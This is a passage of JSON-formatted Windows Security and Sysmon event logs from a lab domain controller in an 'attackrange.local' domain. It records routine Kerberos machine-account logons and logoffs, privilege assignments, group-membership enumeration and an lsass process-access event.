(network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5eab2","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51418","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221815,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EAB2\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{fa85c591-197f-477e-83bd-ea5a43df2239}\r\n\tObject Name:\t\t%{ad6399bf-1337-45b7-995a-4ca92a14b301}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{1a861408-38c3-49ea-ba75-85481a77c655}\r\n\t{fa85c591-197f-477e-83bd-ea5a43df2239}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5eab2","ObjectServer":"DS","ObjectType":"%{fa85c591-197f-477e-83bd-ea5a43df2239}","ObjectName":"%{ad6399bf-1337-45b7-995a-4ca92a14b301}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{1a861408-38c3-49ea-ba75-85481a77c655}\r\n\t{fa85c591-197f-477e-83bd-ea5a43df2239}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221816,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EAB2\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5eab2","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221817,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EB48\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5eb48","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221818,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5EB48\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51419\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5eb48","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51419","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221819,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EB48\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5eb48","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221820,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EBC9\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5ebc9","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221821,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5EBC9\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51420\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5ebc9","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51420","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221822,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5EBC9\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5ebc9","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":221823,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0xa04\r\n\tProcess Name:\t\tC:\\Windows\\System32\\dfsrs.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0xa04","CallerProcessName":"C:\\Windows\\System32\\dfsrs.exe","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:09.175\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:09.175","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":221824,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0xa04\r\n\tProcess Name:\t\tC:\\Windows\\System32\\dfsrs.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0xa04","CallerProcessName":"C:\\Windows\\System32\\dfsrs.exe","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:09.175\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:09.175","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 